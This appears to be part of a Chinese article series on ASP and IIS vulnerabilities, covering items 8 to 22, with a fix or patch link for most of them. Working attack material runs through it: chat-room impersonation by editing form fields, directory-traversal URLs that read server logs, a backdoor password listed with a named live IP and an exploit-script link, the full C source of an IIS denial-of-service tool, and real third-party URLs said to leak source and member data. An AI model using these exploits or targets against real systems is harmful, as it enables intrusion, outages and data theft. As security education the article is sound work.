### ASP 漏洞及安全建议(3)

8、ASP 聊天室程序的漏洞
问题描述：
如果聊天室 ASP 程序设计不当，很容易会给他人利用来做坏事:可以踢人，穿墙，捣乱.
首先，我们看看聊天室里有什么漏洞，大家看看下面这段代码：
<html>
<head>
<body BGCOLOR="008888" TEXT="FFFFFF">
…………………………
………………
………
<form NAME="sendmsg" ACTION="chatt.asp" METHOD="POST" target="mtalk1"
OnSubmit="return chksend();">
<input type="hidden" name="username" value="测试者">******
<input type="hidden" name="sex" value="boy">********
<input type="hidden" name="message" value="">
<input type="hidden" name="a_method" value="sendtalk">
<div align="center"><center>
<table CELLSPACING="0" CELLPADDING="0"> <tr>
<td>发言: <input type="text" name="msg" size="60"> </td>
<td><input type="submit" value="发 言"> </td>
</tr>
<tr>
<td>悄悄:<input type=checkbox name=mtalk value=1>
对象:<input type="text" name="betalk" size="10">
表情:<select NAME="exp" onChange="document.sendmsg.msg.focus();documen
t.sendmsg.msg.select();" size="1">
………
……………
……………………
</form>
<form name="getout" ACTION="chatt.pl" METHOD="POST">
<input type="hidden" name="username" value="测试者">!!!!!!
<input type="hidden" name="a_method" value="getout">!!!!
<input type="submit" value="退 出"></td>
</form>
</body>
</html>
以上这段代码是我在某个聊天室用"测试者"作代号登陆后在发言帧当下来的， 这只是一小部份，但在这一小部份代码里面就有两个漏洞。
第一个漏洞
大家看看上面的代码加上"*"号的那两句，其中第一句中的"测试者"就是我登陆的名字，还有，第二句中的"boy"是登陆时的性别，还有再看看下面我加上"!" 号的两句，第一句里还是有我登陆时的名字，这几句都是我现在想说的两个漏洞所在点。如果想在这个聊天室里穿墙的话，只要把发言帧的代码当下来另存，把"form"的"action"改成聊天室的地址，然后把再"*"号的第一句的“测试者”两字改成想要的名字就可以了。也可以变换性别，只要把第二句的 "boy"改成"girl"。这就是所谓的穿墙术了。你甚至可以把它改成在线人的名字，然后发言，这样就冒充别人的姓名谈话。
第二个漏洞
踢人的漏洞就是这个了，我们看一下带"!"号的第一句，上面有是合法用户登陆的名字，再看第二句，他有”getout”，再加上上面还有一段"form"标签，这段就是我们退出聊天室时的代码，这个有什么用呢？我们先试试看，首先还是把"form"标签的"action"改成 聊天室的地址，不然就不知道提交给哪个家伙了。然后把"风风"改成你想踢下去的人的名字然后单击“退出”，那就把那个人踢出聊天室了。这个就是聊天室踢人的漏洞。
这两个漏洞主要的原因是这两个漏洞使服务程序不识别客户发出的指令是不是合法用户。 以上两漏骗服务程序来更名发出发言，或更名退出，使得真正的使用者受害。
当然上面的程序中还有一个漏洞，输入框没有对 HTML 语句和 JAVASCRIPT 语句做过滤。这个问题我们在漏洞 5 中已有详细分析，这里就不谈了。
问题解决或者建议：
在程序设计中让服务程序能识别到底是哪个家伙发出的指令就可以了，具体做法可以为每个聊天者发一个识别码，象五笔字一样，也可以用每个聊天者的密码识别，也可以把聊天者的密码随机加密后用作识别等等 ，反正能使你的服务程序识别到底是谁发出的指令就可以了。
9、NT iss4.0_AuthChangeUrl? 漏洞
问题描述：
在 NT iis4.0，当输入如下命令时
http://someurl/_AuthChangeUrl?<font%20size=7%20color=red>你好
你看到发生了什么吗？<font size=7 color=red>被解释成功
出现了红色的放大的“你好”字
我们再来看看以下的命令：
http://someurl/_AuthChangeUrl?<img%20src=file:\\\c:\1.jpg>
上面的命令将显示 c:根目录下的 1.jpg 图片，如果 1.jpg 存在的话。
http://someurl/_AuthChangeUrl?<a%20href=file:///c:/install.exe>
上面的命令将下载 C:根目录下的 install.exe 文件。
按照这种方法还能打开对方服务器上一个已经知道的文本文件。
10、微软开发的两个动态库存在后门允许用户查看 ASP 文件源程序和下载整个网站
问题描述：
随 IIS 和 Frontpage Extention server 而来的动态库程序，存在后门，允许用户远程读取 asp、asa 和 CGI 程序的源代码。但这个动态库要求有密码，这个后门的密码是： "Netscape engineers are weenies!"
程序路径为： /_vti_bin/_vti_aut/dvwssr.dll
一般安装了 Frontpage98 的 IIS 服务器都有这个路径和文件。这个程序要求解码后才能发挥读取 asp 等源程序，有趣的是，这个密码正是嘲弄其竞争对手 Netscape 的。
现提供一个有该漏洞的国外网站给安全技术人员参考：
http://62.236.90.195
关于读取源程序，请下载这个测试程序，用法为:
[john@Linux john]$ ./dvwssr1.pl 62.236.90.195 /cqsdoc/showcode.asp
测试程序： http://www.cnns.net/exploits/nt/dvwssr1.pl
11、漏洞名称：IIS4.0 受 HTTP 的 D.O.S 攻击漏洞
问题描述：
受影响的版本：IIS 4.0 以及更早的版本
这是一个很简单的方法.发送很多的"Host:aaaaa...aa"到 IIS：
GET / HTTP/1.1
Host: aaaaaaaaaaaaaaaaaaaaaaa....(200 bytes)
Host: aaaaaaaaaaaaaaaaaaaaaaa....(200 bytes)
...10,000 lines
Host: aaaaaaaaaaaaaaaaaaaaaaa....(200 bytes)
发送了象上面所写的两次请求后，对方的 IIS 在接受了这些请求后就会导致内存溢出.当然，它就不能对更多的请求作出反应。因为对方正缺乏虚拟内存，服务器也将停止运行。事后，对方不能通过重起 web service 来解决问题，而必须重启服务器。
12 漏洞名称：IIS5.0 超长 URL 拒绝服务漏洞
问题描述：
Microsoft IIS 5.0 在处理以".ida"为扩展名的 URL 请求时，它会有两种结果。一个可能的结果是服务器回复"URL String too long"的信息；或类似"Cannot find the specified path" 的信息。另一种可能就是服务器端服务停止，并返回"Access Violation"信息(即成功的实现了对服务器端的拒绝服务攻击)
当远端攻击者发出类似如下的请求时：
http://someurl/...[25kb of '.']...ida
服务器端会崩溃(导致拒绝服务攻击)或返回该文件不在当前路径的信息(暴露文件物理地址)
问题解决或者建议：
大多数情况下，站点很少使用扩展名为".ida"和".idq"的文件，可在 ISAPI 脚本映射中，将扩展名为".ida"和".idq"的应用程序映射删除。
13 请求不存在的扩展名为 idq 或 ida 文件，会暴露服务器上得物理地址.
问题描述：
通过请求一个不存在的扩展名为 idq 或 ida 得文件，IIS 会暴露文件在服务器上得物理地址.这样会给攻击者提供了不必要的信息，而且，这对攻击一个 Web 站点来说，是很有价值的第一步。
测试程序：
通过请求如：
http://someurl/anything.ida
http://someurl/lunwen/anything.ida
或:
http://someurl/anything.idq
一个远端用户可以收到类似：'The IDQ d:\http\anything.idq could not be found'的响应。
这样的一个响应就会让攻击者获得了 Web 站点的物理路径，并且还可以获得更多的有关该站点在服务器上的组织与结构。
14、NT Index Server 存在返回上级目录的漏洞
问题描述
受影响的版本:Microsoft Index Server2.0 [WinNT4.0,WinNT 2000.0]
Index Sserver2.0 是 WinNT4.0 Option Pack 中附带的一个软件的工具,其中的功能已经被 WinNT 2000 中的 Indexing Services 所包含。当与 IIS 结合使用时,Index Server 和 Indexing Services 便可以在最初的环境来浏览 Web Search 的结果,它将生成一个 HTML 文件,其中包含了查找后所返回页面内容的简短引用,并将其连接至所返回的页面[即符合查询内容的页面],也就是超级连接。要做到这一点,它便需要支持由 webhits.dll ISAPI 程序处理的.htw 文件类型。这个 dll 允许在一个模版中使用"../"用做返回上级目录的字符串.这样,了解服务器文件结构的攻击者便可以远程的阅读该机器上的任意文件了。
漏洞的利用:
1)您的系统中存在.htw 文件
Index Server 提供的这种超级连接允许 Web 用户获得一个关于他搜寻结果的返回页,这个页面的名字是与 CiWebHitsFile 变量一起通过.htw 文件的,webhits.dll 这个 ISAPI 程序将处理这个请求,对其进行超级连接并返回该页面。因此用户便可以控制通过.htw 文件的 CiWebHits 变量,请求到任何所希望获得的信息。另外存在的一个问题便是 ASP 或其他脚本文件的源代码也可以利用该方法来获得。
上面我们说过 webhits.dll 后接上"../"便可以访问到 Web 虚拟目录外的文件,下面我们来看个例子:
http://somerul/iissamples/issamples/oop/qfullhit.dll?CiWebHitsFile=/../../winnt/system32/logfiles/w3svc1/ex000121.log&CiRestriction=none&CiHiliteType=Full
在浏览器中输入该地址,便可以获得该服务器上给定日期的 Web 日志文件.
在系统常见的.htw 样本文件有:
/iissamples/issamples/oop/qfullhit.htw
/iissamples/issamples/oop/qsumrhit.htw
/iissamples/exair/search/qfullhit.htw
/iissamples/exair/search/qsumrhit.hw
/iishelp/iis/misc/iirturnh.htw [这个文件通常受 loopback 限制]
2)您的系统中不存在.htw 文件
调用一个 webhits.dll ISAPI 程序需要通过.htw 文件来完成,如果您的系统中不存在.htw 文件,虽然请求一个不存在的.htw 文件将失败,但是您的仍然存在可被利用的漏洞。其中的窍门便是利用 inetinfo.exe 来调用 webhits.dll,这样同样能访问到 Web 虚拟目录外的文件。但我们需要通过制作一个的特殊的 URL 来完成该漏洞的利用。首先我们需要一个有效的文件资源,这个文件必须是一个静态的文件,如".htm",".html",".txt"或者".gif",".jpg"。这些文件将用作模版来被 webhits.dll 打开。现在我们需要获得 inetinfo.exe 来利用 webhits.dll,唯一可以做到这点的便是请求一个.htw 文件:
http://url/default.htm.htw?CiWebHitsFile=/../../winnt/system32/logfiles/w3svc1/ex000121.log&CiRestriction=none&CiHiliteType=Full
很明显,这个请求肯定会失败,因为系统上不存在这个文件。但请注意,我们现在已经调用到了 webhits.dll,我们只要在一个存在的文件资源后面[也就是在.htw 前面]加上一串特殊的数字( %20s ),[就是在例子中 default.htm 后面加上这个代表空格的特殊数字],这样我们便可以欺骗过 web 服务器从而达到我们的目的.由于在缓冲部分中.htw 文件名字部分被删除掉[由于%20s 这个符号],所以,当请求传送到 webhits.dll 的时候,便可以成功的打开该文件,并返回给客户端,而且过程中并不要求系统中真的存在.htw 文件。
问题解决和建议：
微软已经对该问题发放了补丁:
Index Server 2.0:
Intel: http://www.microsoft.com/downloads/release.asp?ReleaseID=17727
Alpha: http://www.microsoft.com/downloads/release.asp?ReleaseID=17728
Windows 2000 Indexing Services:
Intel: http://www.microsoft.com/downloads/release.asp?ReleaseID=17726
15 绕过验证直接进入 ASP 页面。
漏洞描述：
如果用户知道了一个 ASP 页面的路径和文件名，而这个文件又是要经过验证才能进去的，但是用户直接输入这个 ASP 页面的文件名，就有可能通过绕过验证.比如：我在一些网站上这样试过：首先关闭所有的浏览器，窗口，输入：
http://someurl/system_search.asp?page=1
就样就看到了只能系统员才能看到的页面。当然有些人为了防止这种情况也会在 system_search.asp 的开头加个判断，比如：判断 session(“system_name”),如果不为空时就能进入，这样上面的 url 请求就不能直接进入管理员页面了。但是这种方法也有一个漏洞，如果攻击者先用一个合法的帐号，或者在本机上生成一个 session,如 session(“system_name”)=”admi”，那因为 session(“system_name”)不为空，这样也能直接进入绕过密码，直接进入管理员页面。
解决方法：
在需要验证的 ASP 页面开头处进行相应的处理。比如：可跟踪上一个页面的文件名，只有从上一页面转进来的会话才能读取这个页面。
16、IIS4.0/5.0 特殊数据格式的 URL 请求远程 DOS 攻击
漏 洞 描 述:
当在安装有有 IIS4.0 或者 IIS5.0 的 web 服务上,请求一个具有特殊数据格式的 URL,会拖慢受攻击 web 服务器的响应速度,或许会使其暂时停止响应。
受影响的版本
Microsoft Internet Information Server 4.0
Microsoft Internet Information Server 5.0
漏洞测试程序如下：
http://202.96.168.51/download/exploits/iisdos.exe
源代码如下：
http://202.96.168.51/download/exploits/iisdos.zip
测试程序：
只要打入:iisdos <***.***.**.**> 就能攻击对方 web 服务器
问题解决：
Internet Information Server 4.0:
http://www.microsoft.com/Downloads/Release.asp?ReleaseID=20906
Internet Information Server 5.0:
http://www.microsoft.com/Downloads/Release.asp?ReleaseID=20904
更多的信息:
http://www.microsoft.com/technet/security/bulletin/ms00-030.asp
Microsoft 安全公告 MS00-021:
http://www.microsoft.com/technet/security/bulletin/fq00-030.asp
相关连接
http://www.ussrback.com
17 IIS web server DOS
漏洞描述：
默认情况下，IIS 容易被拒绝服务攻击。如果注册表中有一个叫 "MaxClientRequestBuffer" 的键未被创建，针对这种 NT 系统的攻击通常能奏效。 "MaxClientRequestBuffer" 这个键用于设置 IIS 允许接受的输入量。如果 "MaxClientRequestBuffer" 设置为 256(bytes)，则攻击者通过输入大量的字符请求 IIS 将被限制在 256 字节以内。而系统的缺省设置对此不加限制，因此，利用下面的程序。可以很容易地对 IIS server 实行 DOS 攻击：
#include <stdio.h>
#include <windows.h>
#define MAX_THREAD 666
void cng();
char *server;
char *buffer;
int port;
int counter = 0;
int current_threads = 0;
int main(int argc, char **argv)
{
WORD tequila;
WSADATA data;
int p;
DWORD tid;
HANDLE hThread[2000];
//This code is as is and sucks as it is. Won't exit correctly and a lot
of other fun things.
//That I didn't want to take the time to do. So just ctrl+c out of the
code.
//Load up cnghack.exe 3 times for charm.
printf("CNG IIS DoS.\nMarc@eEye.com\nhttp://www.eeye.com\n\"For my
beloved.\"\n");
if(argc<2){
printf("Usage: %s [server] [port]\n",argv[0]);
exit(1);
}
buffer=malloc(17500);
memset( buffer, 'A', strlen(buffer));
server=argv[1];
port=atoi(argv[2]);
tequila = MAKEWORD( 1, 1 );
printf("Attempting to start winsock... ");
if( (WSAStartup(tequila, &data)) !=0 ){
printf("failed to start winsock.\n");
exit(1);
}
else{
printf("started winsock.\n\n");
}
counter = 0;
for(p = 0 ; p < MAX_THREAD ; ++p ){
hThread[counter] = CreateThread(0,
0,
(LPTHREAD_START_ROUTINE) cng,
( void * )++counter,
0,
&tid);
}
Sleep(250);
while( current_threads )
Sleep(250);
counter = 0;
printf("Terminated Threads.\n");
while (counter < MAX_THREAD)
{
TerminateThread( hThread[counter], 0 );
++counter;
}
WSACleanup();
return 0;
}
void cng()
{
int SockFD=0, p;
struct sockaddr_in DstSAin;
char GETKILLED[]="GET / HTTP/\r\n";
int die=1;
printf("Entered CNG\n");
++current_threads;
DstSAin.sin_family = AF_INET;
DstSAin.sin_port = htons((u_short)port);
DstSAin.sin_addr.s_addr=inet_addr( server );
if((SockFD = socket(AF_INET, SOCK_STREAM, 0)) < 0){
printf("Failed to create socket\n");
--current_threads;
return;
}
if(!connect(SockFD,(struct sockaddr *)&DstSAin, sizeof(DstSAin)))
{
p=send(SockFD,GETKILLED,strlen(GETKILLED),0);
printf("Step 1: %i\n", p);
for(;;){
p=send(SockFD,buffer,strlen(buffer),0);
printf("P: %i\n", p);
//put in some code to check if send = -1 more then X times we drop
the loop and exit the thread
//bla bla bla i love the dirtiness of concept code.
}
}
--current_threads;
printf("Exited CNG\n");
return;
}
cnghack.c works by doing the following:
Connects to example.com
Sends: GET / HTTP/[return][buffer]
Where:
[return] is just an \r\n
[buffer] is a never ending stream of A's
攻击结果将导致 NT 系统的 CPU 占用率达到 100%
解决方案
运行 Regedt32.exe
在：
HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\w3svc\parameters
增加一个值：
Value Name: MaxClientRequestBuffer
Data Type: REG_DWORD
设置为十进制
具体数值设置为你想设定的 IIS 允许接受的 URL 最大长度。
CNNS 的设置为 256
18、MS ODBC 数据库连接溢出导致 NT/9x 拒绝服务攻击
漏 洞 描 述:
Microsoft ODBC 数据库在连接和断开时可能存在潜在的溢出问题(Microsoft ACCESS 数据库相关)。
如果不取消连接而直接和第二个数据库相连接，可能导致服务停止。
影响系统:
ODBC 版本: 3.510.3711.0
ODBC Access 驱动版本: 3.51.1029.00
OS 版本: Windows NT 4.0 Service Pack 5, IIS 4.0 (i386)
Microsoft Office 97 Professional (MSO97.dll: 8.0.0.3507)
漏洞检测方法如下:
ODBC 连接源名称: miscdb
ODBC 数据库型号: MS Access
ODBC 假设路径: d:\data\misc.mdb
ASP 代码如下:
<%
set connVB = server.createobject("ADODB.Connection")
connVB.open "DRIVER={Microsoft Access Driver (*.mdb)}; DSN=miscdb"
%>
<html>
<body>
...lots of html removed...
<!-- We Connect to DB1 -->
<%
set connGlobal = server.createobject("ADODB.Connection")
connGlobal.Open "DSN=miscdb;User=sa"
mSQL = "arb SQL Statement"
set rsGlobal = connGlobal.execute(mSQL)
While not rsGlobal.eof
Response.Write rsGlobal("resultfrommiscdb")
rsGlobal.movenext
wend
'rsGlobal.close
'set rsGlobal = nothing
'connGlobal.close
'set connGlobal = nothing
' Note we do NOT close the connection
%>
<!-- Call the same database by means of DBQ direct file access -->
<%
set connGlobal = server.createobject("ADODB.Connection")
connGlobal.Open "DRIVER={Microsoft Access Driver (*.mdb)};
DBQ=d:\data\misc.mdb"
mSQL = "arb SQL Statement"
set rsGlobal = connGlobal.execute(mSQL)
While not rsGlobal.eof
Response.Write rsGlobal("resultfrommiscdb")
rsGlobal.movenext
wend
rsGlobal.close
set rsGlobal = nothing
connGlobal.close
set connGlobal = nothing
' Note we DO close the connection
%>
在这种情况下，IIS 处理进程将会停顿，CPU 使用率由于 inetinfo.exe 进程将达到 100%。只有重新启动计算机才能恢复。
19、ASP 主页.inc 文件泄露问题
漏洞描述：
受影响的版本:任何提供 ASP 服务的系统
远程:YES / 本地:YES
内容摘要:
当存在 asp 的主页正在制作并没有进行最后调试完成以前，可以被某些搜索引擎机动追加为搜索对象，如果这时候有人利用搜索引擎对这些网页进行查找，会得到有关文件的定位，并能在浏览器中察看到数据库地点和结构的细节揭示完整的源代码。
具体操作过程是：
- 利用搜索引擎查找包含+"Microsoft VBScript 运行时刻错误执行搜索" +".inc ，" 的关键字
- 搜索引擎会自动查找包含 asp 的包含文件(.inc)并显示给用户
- 利用浏览器观看包含文件的源代码，其中可能会有某些敏感信息
漏洞的利用:
例子:
- http://shopping.altavista.com/inc/lib/prep.lib
暴露数据库连接和性质, 资源地点, 小甜饼逻辑,服务器 IP 地址
- http://www.justshop.com/SFLib/ship.inc
暴露数据库性质
- http://www.bbclub.com:8013/includes/general.inc
暴露 cobranding
- http://www.salest.com/corporate/admin/include/jobs.inc
暴露 datafile 地点和结构
- http://www.bjsbabes.com/SFLib/design.inc
包括数据库结构为 StoreFront 2000 暴露源代码
- http://www.ffg.com/scripts/IsSearchEngine.inc
暴露搜索引擎记录文件
- http://www.wcastl.com/include/functions.inc
暴露成员电子邮件地址
- http://www.wcastl.com/flat/comments.txt
暴露成员私人的注释文件
- http://www.traveler.net/two/cookies.inc
暴露 cookie 逻辑
解决方案:
- 搜索引擎应该不索引有 asp 运行时刻错误的页
- 程序员应该在网页发布前对其进行彻底的调试
- 安全专家需要固定 asp 包含文件以便外部的用户不能看他们
asp 新闻组、站点提供两个解决方案对这个漏洞进行修正，首先对 .inc 文件内容进行加密，其次也可以使用 .asp 文件代替 .inc 文件使用户无法从浏览器直接观看文件的源代码。.inc 文件的文件名不用使用系统默认的或者有特殊含义容易被用户猜测到的，尽量使用无规则的英文字母。
20、利用 Activer server explorer 可对文件进行读写访问
漏洞描述：
chinaasp 的 Activer server explorer 可以很方便的对本地文件在线查看服务器上的目录 在线查看文件的名称、大小、类型、修改时间,在线编辑纯文本文件，如.txt、.htm、.asp、.pl、.cgi 等等,直接执行服务器上的文件。
Activer server explorer 要求填写相对路径或者绝对路径，但是假如：有一个攻击者把 Activer server explorer 上传到目标服务器上的某个目录，并且这个目录支持 ASP 的话，那么他就可以通过 Activer server explorer 修改、执行目标服务器上的文件。这种情况可以发生在一个攻击者拥有目标 NT 服务器上的一个可写目录帐号，并且这个目录又支持 ASP。比如一些支持 ASP 的个人免费主页服务器，把 Activer server explorer 先传上你申请的免费主页空间，再通过各种方法得到目标服务器的路径，(比如可通过漏洞：“请求不存在的扩展名为 idq 或 ida 文件，会暴露文件在服务器上的物理地址.”).或者直接在相对路径上填”.”，一般是默认。这样攻击者就能任意修改，执行目标服务器上的文件，不管他对这个文件有无读写访问权。
所以那些提供有 ASP 服务的个人主页或者其它服务的服务器，就要加倍小心这种攻击了。
漏洞解决方法
其实 Activer server explorer 就是利用了上面讲的漏洞 4 filesystemobject 组件篡改下载 fat 分区上的任何文件的漏洞。
那么我们如何才能限制用户使用 FileSystemObject 对象呢？一种极端的做法是完全反注册掉提供 FileSystemObject 对象的那个组件，也就是 Scrrun.dll。具体的方法如下：
在ＭＳ－ＤＯＳ状态下面键入：
Regsvr32 /u c:\windows\system\scrrun.dll
（注意：在实际操作的时候要更改成为你本地的实际路径）
但是这样的话，就不能使用 FileSystemObject 对象了，有时利用 FileSystemObject 对象来管理文件是很方便，有什么办法能两全其美呢？
我们可以做到禁止他人非法使用 FileSystemObject 对象,但是我们自己仍然可以使用这个对象.
方法如下:
查找注册表中
HKEY_CLASSES_ROOT\Scripting.FileSystemObject 键值
将其更改成为你想要的字符串(右键-->"重命名"),比如更改成为
HKEY_CLASSES_ROOT\Scripting.FileSystemObject2
这样,在 ASP 就必须这样引用这个对象了:
Set fso = CreateObject("Scripting.FileSystemObject2")
而不能使用:
Set fso = CreateObject("Scripting.FileSystemObject")
如果你使用通常的方法来调用 FileSystemObject 对象就会无法使用了。
只要你不告诉别人这个更改过的对象名称，其他人是无法使用 FileSystemObject 对象的。这样，作为站点管理者我们就杜绝了他人非法使用 FileSystemObject 对象，而我们自己仍然可以使用这个对象来方便的实现网站在线管理等等功能了！
21 IIS4.0/IIS5.0 超长文件名请求存在漏洞
漏洞描述：
受影响的版本:
Microsoft IIS 5.0
+ Microsoft Windows NT 2000
Microsoft IIS 4.0
+ Microsoft Windows NT 4.0
+ Microsoft BackOffice 4.5
- Microsoft Windows NT 4.0
+ Microsoft BackOffice 4.0
- Microsoft Windows NT 4.0
当在一个已知的文件名后加 230 个"%20"再加个.htr，会使安装有 Microsoft IIS 4.0/5.0 泄漏该文件的内容。这是由 ISM.dll 映射的.htr 文件引起的.比如：
http://target/filename%20<重复 230 次>.htr
这种请求只有当.htr 请求是第一次调用或者 ISM.dll 第一次装载进内存，才能起作用。
解决方法：
安装补丁
Microsoft IIS 5.0:
http://download.microsoft.com/download/win2000platform/Patch/Q249599/NT5/EN-US/Q249599_W2K_SP1_X86_en.EXE
Microsoft IIS 4.0:
http://download.microsoft.com/download/iis40/Patch/Q260838/NT4ALPHA/EN-US/ismpst4i.exe
22 ASP 编辑器会自动备份 asp 文件，会被下载的漏洞
漏洞描述：
在有些编辑 asp 程序的工具，当创建或者修改一个 asp 文件时，编辑器自动创建一个备份文件，比如：UltraEdit 就会备份一个..bak 文件，如你创建或者修改了 some.asp，编辑器自动生成一个叫 some.asp.bak 文件，如果你没有删除这个 bak 文件，攻击有可以直接下载 some.asp.bak 文件，这样 some.asp 的源程序就会给下载。